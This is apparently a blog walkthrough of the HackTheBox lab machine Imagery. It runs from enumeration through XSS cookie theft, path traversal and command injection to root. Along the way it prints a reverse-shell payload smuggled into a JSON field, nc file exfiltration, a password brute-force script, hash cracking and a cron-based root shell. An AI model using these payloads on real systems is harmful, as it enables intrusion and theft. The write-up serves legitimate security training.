HackTheBox | Imagery

In this walkthrough, I demonstrate how I obtained complete ownership of Imagery on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned Imagery from Hack The Box!
I have just owned machine Imagery from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Tue Sep 30 15:58:56 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.41.106
Nmap scan report for 10.129.41.106
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 30 15:59:17 2025 -- 1 IP address (1 host up) scanned in 20.53 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. The nmap scan shows a Werkzeug server running on tcp/8000 which is a common HTTP server running Python web applications.





Service Enumeration

TCP/8000

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

It doesn't redirect us to any kind of hostname, but we'll go ahead and add a hosts entry for convenience.

echo '10.129.41.106\t\timagery.htb' | sudo tee -a /etc/hosts
💡
Whenever an application presents you with the opportunity to register for a user account, you should do so. Using the application as an authenticated user is almost certainly going to open more attack surface.
Upon authenticating, we are given the opportunity to upload some images
Test the download and delete functions
Interesting set of options with the delete function
Bug report function
"Admin review in progress..."
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What We Know So Far

  • File Upload
    • Allegedly only accepts JPG, PNG, GIF, BMP, and TIFF
    • The target server is Python-based, so not thinking RCE is too likely here
    • The "download" functionality won't lead to path traversal, as it's just a download attribute on a <a> html tag
  • Bug Report Submission
    • This seems like the first line of attack
    • Almost certainly a Cross-Site Scripting abuse
    • Steal the admin cookie and see if we have some additional options
    • The site cookie is not set HttpOnly



Directory and File Enumeration

ℹ️
Before we go start slinging attacks, we'll make sure we uncover as much initial information as we can at first.
grep -iv 'logout' /usr/share/seclists/Discovery/Web-Content/big.txt > wordlist.txt
export SESSION='Cookie: session=.eJyrVkrJLC7ISaz0TFGyUkpOMTY1TzWzVNJRyix2TMnNzFOySkvMKU4F8eMzcwtSi4rz8xJLMvPS40tSi0tKi1OLkFXAxOITk5PzS_NK4HIgwbzE3FSgHSA1Djn5yYk5GfnFJUq1ALo2LzI.aNw5nw.CLWrA5_dZFucIphA4HekJFrlbaY'
gobuster dir -u 'http://imagery.htb:8000' -H "$SESSION" -w wordlist.txt -t 100 -o dir.txt

We want to brute force using our cookie, but don't want to log ourselves out, so using filtered wordlist.txt from above

/images               (Status: 200) [Size: 49]
/login                (Status: 405) [Size: 153]
/register             (Status: 405) [Size: 153]
Seems potentially like some kind of API



Deeper Dive into the Source Code

This endpoint is used by the web app to fetch user images and render them on the page
Here's an example in Burp logs
We can see the /admin/bug_reports URL in the source here

This actually reveals a good bit of information about what the admin "user" is going to be be vulnerable to when they view the bug reports.

💡
If you look carefully, you'll notice there's no ${DOMPurify.sanitize()} call on the ${report.details} output. So, this is almost certainly pointing us to an XSS bug.

Using the search function for /admin/, we can see that once we steal the admin cookie, the next path is probably going to be a path traversal -> local file read bug.





Exploit

Cookie Theft | 0xBEN | Notes
Stored / Hosted XSS If there is a vulnerability where you can store or submit HTML and have it rend…
Use the XSS payload in the Bug Detail
Right-click, delete the cookie, add a new session cookie and paste in the JWT



Testing Path Traversal

ℹ️
If you try and open the Admin Panel feature, it redirects you to tcp/80. So, we'll have to do a bit of manual testing against this with curl or similar.
export ADMIN_SESSION='Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNxHqQ.Ip6Aagh0usWheF9Os0PykmEsyCw'
curl -H "$ADMIN_SESSION" 'http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../../../../../etc/passwd'
Very nice!
Maybe we can find some SSH keys
A lot of times, Flask apps are just run as app.py in the project root. The section highlighted in pink indicates other Python scripts and modules located in the base directory.
Admin password hash, looks like MD5, doesn't crack with rockyou.txt
api_edit.py -- looks like potential command injection via subprocess.run using the shell=True parameter inside the /apply_visual_transform API



Abusing RCE

The subprocess.run() call can be broken down like this:

  • Runs IMAGEMAGICK_CONVERT_PATH — which is set to IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert' in config.py — with the arguments
    • {original_filepath} — which is the original file name in the /uploads/ directory
    • -crop
    • And the x, y, width, and height arguments as set in the HTTP GET request
    • The {output_filepath} is set to a unique name and stored in the /admin/ directory.
  • However, we can inject a ; in the {width} placeholder and cause the /usr/bin/convert command to be terminated. Then, inject a command of our choice to be run by the shell=True call.
    • Effectively, setting the width argument to 100; touch /tmp/test.text # the command injection would cause...
/usr/bin/convert {original_filepath} -crop 100; touch /tmp/test.txt # end of command
We must be a test user to abuse this though, so we need to figure out how to achieve this...
Inspect db.json and find testuser@imagery.com and password hash
Hash cracks to iambatman
Log in as testuser@imagery.htb:iambatman and note that the previously disabled options are now enabled
🚨
Enable Burp intercept mode before proceeding with next step
Choose "Transform Image" and "Apply Transformation"
Right-click and choose "Send to Repeater" and update the payload
Perfect! We got command injection!



Reverse Shell

{
  "imageId": "effe29cb-8f38-4c65-95fb-99cb9dd76bb1",
  "transformType": "crop",
  "params": {
    "x": 0,
    "y": 0,
    "width": "700; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.195/443 0>&1 #'",
    "height": 568
  }
}





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 24.10"
NAME="Ubuntu"
VERSION_ID="24.10"
VERSION="24.10 (Oracular Oriole)"
VERSION_CODENAME=oracular
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=oracular
LOGO=ubuntu-logo

Linux Imagery 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1001(web) gid=1001(web) groups=1001(web)

Sorry, user web may not run sudo on Imagery.    



Users and Groups

Local Users

web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash    

Local Groups

web:x:1001:
mark:x:1002:   



Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:b4:3c brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.41.106/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2554sec preferred_lft 2554sec
    inet6 dead:beef::250:56ff:feb0:b43c/64 scope global dynamic mngtmpaddr proto kernel_ra 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb0:b43c/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever   



Scheduled Tasks

Interesting Scheduled Tasks

crontab -l
* * * * * python3 /home/web/web/bot/admin.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob

# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

# Clean up old profiles
for folder in glob.glob("/tmp/chrome-profile-*"):
    try:
        shutil.rmtree(folder, ignore_errors=True)
    except Exception:
        pass

# Check /tmp space
total, used, free = shutil.disk_usage("/tmp")
if free < 50 * 1024 * 1024:
    print(f"[!] WARNING: /tmp is low on space! Only {free / 1024 / 1024:.2f} MB free.")

# Create new profile
user_data_dir = f"/tmp/chrome-profile-{uuid.uuid4()}"
os.makedirs(user_data_dir, exist_ok=True)

# Configure Chrome
options = Options()
options.binary_location = CHROME_BINARY
options.add_argument("--headless=new")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"--user-data-dir={user_data_dir}")
options.set_capability("goog:loggingPrefs", {"browser": "ALL"})

driver = None
try:
    driver = webdriver.Chrome(options=options)
    print("[*] Browser started.")
    driver.get(APP_URL)

    WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.ID, "navbar-links"))
    )
    print("[*] Navigation bar loaded.")

    login_nav_button = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.ID, "nav-login"))
    )
    login_nav_button.click()
    print("[*] Clicked 'Login' navigation button.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "loginPage"))
    )
    print("[*] Login page content is now visible.")

    # Wait for input fields
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginEmail")))
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loginPassword")))

    driver.find_element(By.ID, "loginEmail").send_keys(USERNAME)
    driver.find_element(By.ID, "loginPassword").send_keys(PASSWORD)
    print("[*] Credentials filled.")

    # Inject bypass script
    driver.execute_script(f"""
        const form = document.getElementById('loginForm');
        if (form && !form.dataset.injected) {{
            form.dataset.injected = 'true';
            console.log('[*] Bypass script injected');
            form.addEventListener('submit', async function(event) {{
                event.preventDefault();
                const username = document.getElementById('loginEmail').value;
                const password = document.getElementById('loginPassword').value;
                try {{
                    const res = await fetch('/login', {{
                        method: 'POST',
                        headers: {{
                            'Content-Type': 'application/json',
                            'X-Bypass-Lockout': '{BYPASS_TOKEN}'
                        }},
                        body: JSON.stringify({{ username, password }})
                    }});
                    const data = await res.json();
                    if (data.success) {{
                        console.log('[+] Login successful!');
                        window.location.reload(); 
                    }} else {{
                        console.error('[-] Login failed:', data.message);
                        if (window.showMessage)
                            window.showMessage(data.message, 'error');
                    }}
                }} catch (e) {{
                    console.error('[!] Fetch error:', e);
                    if (window.showMessage)
                        window.showMessage('Unexpected error during login.', 'error');
                }}
            }});
        }} else {{
            console.warn('[!] Login form not found or already injected.');
        }}
    """)
    print("[*] Login form bypass injected.")

    # Trigger form submit
    driver.execute_script("document.getElementById('loginForm').dispatchEvent(new Event('submit'))")
    print("[*] Form submit triggered manually.")
    time.sleep(3)

    # Print browser console logs
   #browser_logs = driver.get_log("browser")
    #for entry in browser_logs:
      #  msg = entry['message']
       # print(f"[browser log] {msg}")
        #if '[!]' in msg or 'error' in msg.lower():
         #   print("[!] JS error detected:", msg)

    # Wait for admin panel
    WebDriverWait(driver, 20).until(
        EC.visibility_of_element_located((By.ID, "nav-admin-panel"))
    )
    print("[+] Admin panel navigation link appeared, login likely successful.")

    driver.find_element(By.ID, "nav-admin-panel").click()
    print("[*] Navigated to Admin Panel page.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "admin-content-wrapper"))
    )
    WebDriverWait(driver, 10).until(
        lambda d: d.find_element(By.ID, "admin-content-wrapper").get_attribute("style") == "" or
                  "display: none" not in d.find_element(By.ID, "admin-content-wrapper").get_attribute("style")
    )
    print("[+] Admin Panel content wrapper is visible, page loaded correctly.")

    auth_status = driver.execute_async_script("""
        const done = arguments[0];
        fetch('/auth_status')
            .then(res => res.json())
            .then(data => done(data))
            .catch(err => done({ error: String(err) }));
    """)

    print("[*] Auth Status:", auth_status)
    if auth_status.get("isAdmin"):
        print("[+] Admin status confirmed via /auth_status endpoint.")
    else:
        print("[-] User is not admin after login.")

    WebDriverWait(driver, 10).until(
        EC.visibility_of_element_located((By.ID, "user-list"))
    )
    print("[*] User list section found in Admin Panel.")

    try:
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "bug-reports-list"))
        )
        print("[*] Bug reports list section found in Admin Panel.")
    except:
        print("[*] No bug reports list found — maybe no entries yet.")

    print("[*] Script finished successfully.")

except Exception as e:
    print("[!] Exception during login and admin panel test:", e)
    traceback.print_exc()
    try:
        driver.save_screenshot("/tmp/selenium_failure.png")
        print("[*] Screenshot saved to /tmp/selenium_failure.png")
    except:
        pass
finally:
    if driver:
        print("[*] Quitting browser.")
        driver.quit()
    if os.path.exists(user_data_dir):
        print(f"[*] Cleaning up user data directory: {user_data_dir}")
        shutil.rmtree(user_data_dir, ignore_errors=True)



Interesting Files

Writable System Binary

find / -type f -writable -exec ls -l {} \; 2>/dev/null | grep -vE '/proc|/sys|/home/web'
-rwxr-xr-x 1 web web 8059480 Jun 18 13:16 /usr/bin/python3.12    

/var/backup/web_20250806_120723.zip.aes

ls -la /var/backup
-rw-rw-r--  1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes





Privilege Escalation

Encrypted Backup

sudo nc -q 3 -lnvp 443 > web_20250806_120723.zip.aes

Start a listener to copy file over to kali

nc -q 3 -nv 10.10.14.195 443 < /var/backup/web_20250806_120723.zip.aes

Connect to Kali listener and send file byte stream over socket

ℹ️
I asked AI to write me a Python script to take in a word list and decrypt the pyAesCrypt protected zip file.

decrypt.py (show/hide)

import pyAesCrypt
import os

# --- Configuration ---
encrypted_file_path = 'web_20250806_120723.zip.aes'
decrypted_file_path = 'decrypted_file.zip'
wordlist_path = 'rockyou.txt'
bufferSize = 64 * 1024  # 64KB buffer size

# --- Decryption logic ---
def decrypt_with_wordlist(encrypted_file, decrypted_file, wordlist):
    """
    Attempts to decrypt a file using passwords from a wordlist.
    """
    if not os.path.exists(encrypted_file):
        print(f"Error: Encrypted file '{encrypted_file}' not found.")
        return

    with open(wordlist, 'r', encoding='utf-8', errors='ignore') as wl:
        for line in wl:
            password = line.strip()
            if not password:
                continue

            print(f"[*] Trying password: {password}")
            try:
                # pyAesCrypt.decryptFile decrypts the file.
                # It will raise a ValueError if the password is wrong.
                pyAesCrypt.decryptFile(encrypted_file, decrypted_file, password, bufferSize)
                print(f"\n[+] SUCCESS: Password found -> {password}")
                return True
            except ValueError:
                # This exception is expected for incorrect passwords.
                continue
            except Exception as e:
                # Handle other potential errors, but a ValueError is expected.
                print(f"[!] An error occurred with password '{password}': {e}")

    print("\n[-] FAILURE: Password not found in the wordlist.")
    return False

# --- Main execution ---
if __name__ == "__main__":
    # Clean up any previous failed decryption attempts
    if os.path.exists(decrypted_file_path):
        os.remove(decrypted_file_path)

    if decrypt_with_wordlist(encrypted_file_path, decrypted_file_path, wordlist_path):
        print("Decryption successful. File saved as 'decrypted_file.zip'.")
    else:
        print("Decryption failed. The file could not be decrypted with the provided wordlist.")
virtualenv .

Use a virtual environment to install the pyAesCrypt module

source bin/activate

Source the virtual environment

python3 -m pip install pyAesCrypp
python3 decrypt.py
deactivate

Deactivate the Python virtual environment

unzip -d web_backup decrypted_file.zip

Extract the archive to a web_backup directory

grep --exclude-dir=env -r mark web_backup

Search for the word "mark" outside of the Python library files

💡
The --exclude-dir argument takes words or globs and ignores sub-directories relative to the starting search path. Since we're starting at web_backup, then env ignores that sub-directory under this path.
Let's see if we can crack the hash
echo '01c3d2e5bdaf6134cec0a367cf53e535' > hash
john --wordlist=~/Pentest/WordLists/rockyou.txt --fork=4 --format=Raw-MD5 hash



Lateral to Mark

Mark requires public key authentication with SSH
su mark works fine though, and should be able to create a SSH keypair
⚠️
I tried creating a SSH keypair and logging in, but SSH appears to be broken, as the lastlog application is not installed and sshd is not configured to disable printing the last login.
Always a good check upon switching user accounts
Looks like a custom backup solution
Multiple password advises to pass the -R switch, which prompts for Mark's password
Running the application again, prompts for an "application password" and "master password". For convenience, I just re-used Mark's password, but you can choose any value.
ℹ️
In the charcol shell, I spent some time looking over the help examples, and figured the auto add interface is probably the easiest way to gain command execution as root, since the cron scheduler doesn't have any restrictions on the system command you provide.
Using a per-minute cron schedule to ping my VPN IP. Looks good!



Becoming Root

auto add --schedule "* * * * *" --command "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.195/443 0>&1'" --name "rev_0xBEN" --log-output /home/mark/auto.log

Scheduler command used to overwrite the x placeholder in /etc/password



Flags

User

de070433bae173dd58268e81be133ba6    

Root

350291a8b2e2c6f7729e21e5e6224bfb    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.